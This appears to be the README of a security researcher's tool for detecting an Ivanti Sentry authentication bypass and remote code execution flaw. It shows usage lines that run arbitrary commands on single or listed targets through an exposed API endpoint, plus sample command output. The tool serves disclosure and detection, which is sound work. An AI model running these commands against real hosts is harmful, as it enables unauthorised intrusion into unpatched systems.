imbas007/rce-cve-2026-10520-cve-2026-10523Detection artifact generator for Ivanti Sentry authentication bypass and RCE vulnerabilities (CVE-2026-10520, CVE-2026-10523). Scans single or multiple targets, executes commands, and reports vulnerable hosts.
An Ivanti Sentry Authentication Bypass and Remote Code Execution Detection Artifact Generator.
See our blog post for technical details.
$ python3 CVE-2026-10523.py --url https://127.0.0.1 --cmd "uname -a"
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
CVE-2026-10523.py
(*) Ivanti Sentry Authentication Bypass and Remote Code Execution Detection Artifact Generator Tool
- Sonny , watchTowr ([email protected])
CVEs: [CVE-2026-10520, CVE-2026-10523]
============================================================
Target: https://127.0.0.1
Command: uname -a
[+] Sending command execution check to: https://127.0.0.1/mics/api/v2/sentry/mics-config/handleMessage
[+] Target appears to be vulnerable.
Command output:
Linux 127.0.0.1 4.18.0-553.84.1.el8_10.x86_64 #1 SMP Mon Nov 17 12:53:24 PST 2025 x86_64 x86_64 x86_64 GNU/Linux
Single target:
python3 CVE-2026-10523.py --url https://127.0.0.1 --cmd "uname -a"
Multiple targets from a file (one URL per line, blank lines and # comments ignored):
python3 CVE-2026-10523.py -l targets.txt --cmd "uname -a"
Use a proxy:
python3 CVE-2026-10523.py -l targets.txt --cmd "id" -p 127.0.0.1:8080
List mode scans every target, continues on connection errors, and prints a summary of vulnerable hosts at the end.
This watchTowr Detection Artefact Generator checks for the Ivanti Sentry authentication bypass and remote code execution vulnerabilities CVE-2026-10520, CVE-2026-10523.
Remediation and further details be found within the Ivanti advisory: https://hub.ivanti.com/s/article/Security-Advisory-Ivanti-Sentry-CVE-2026-10520-CVE-2026-10523
Credit: